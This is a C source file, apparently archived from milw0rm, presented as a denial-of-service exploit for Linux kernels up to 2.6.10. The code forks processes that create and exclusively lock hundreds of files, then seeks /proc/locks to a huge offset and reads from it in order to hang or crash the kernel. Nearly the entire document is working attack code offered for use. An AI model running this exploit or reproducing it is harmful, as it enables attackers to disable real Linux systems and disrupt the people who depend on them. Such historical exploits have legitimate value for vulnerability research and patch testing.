87 lines
No EOL
1.6 KiB
C
87 lines
No EOL
1.6 KiB
C
/* Removed ='s at the bottom /str0ke */
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/*
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* linux kernel <=2.6.10(2.6.x) DOS exploit
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* writen by ChoiX
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* (c) uKt Research
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* [www.unl0ck.org][info@unl0ck.org]
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <linux/unistd.h>
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#include <string.h>
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#include <sys/mman.h>
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#include <sys/file.h>
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#include <syscall.h>
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#include <errno.h>
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#define SIZE 0x80004242
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_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh);
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void createfile(){
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int nm1, filev;
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char vname[424];
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for(nm1=0;nm1<920;nm1++){
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snprintf(vname, sizeof(vname), "UNLOCKRESEARCHTEAM%d.%d", getpid(), nm1);
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filev = open(vname, O_CREAT|O_RDWR, S_IRWXU);
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if(filev < 0){
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printf("ERROR\n");
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perror("open()");
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}
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if(flock(filev,LOCK_EX) == -1){
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printf("ERROR\n");
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perror("flock()");
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}
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}
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while(42);
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}
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int main(int argc, char *argv[]){
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int count, fd, i, fv;
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void *mv;
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char *buf1, *buf2;
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loff_t lr;
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int nm1;
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printf("\t\tkernel-2.6.10 DoS by ChoiX [Unl0ck Team]\n");
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printf("[--]create files(it can take a few minutes)...");
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nm1 = 5;
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while(count--){
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if(!fork()){
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createfile();
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}
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}
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sleep(100);
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printf("OK\n");
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printf("[--]start exploiting...");
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system("sync");
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fd=open("/proc/locks", O_RDONLY);
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if(fd < 0){
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printf("ERROR\n");
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perror("open()");
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}
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buf1 = malloc(1024*1024*8);
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buf2 = malloc(1024*1024*8);
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if(_llseek(fd,42,SIZE,&lr,SEEK_SET) == -1){
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printf("ERROR\n");
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printf("llseek()");
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}
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i=read(fd,buf2, SIZE);
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perror("read");
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printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,buf2);
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while(42);
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return 42;
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}
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// milw0rm.com [2005-03-29]
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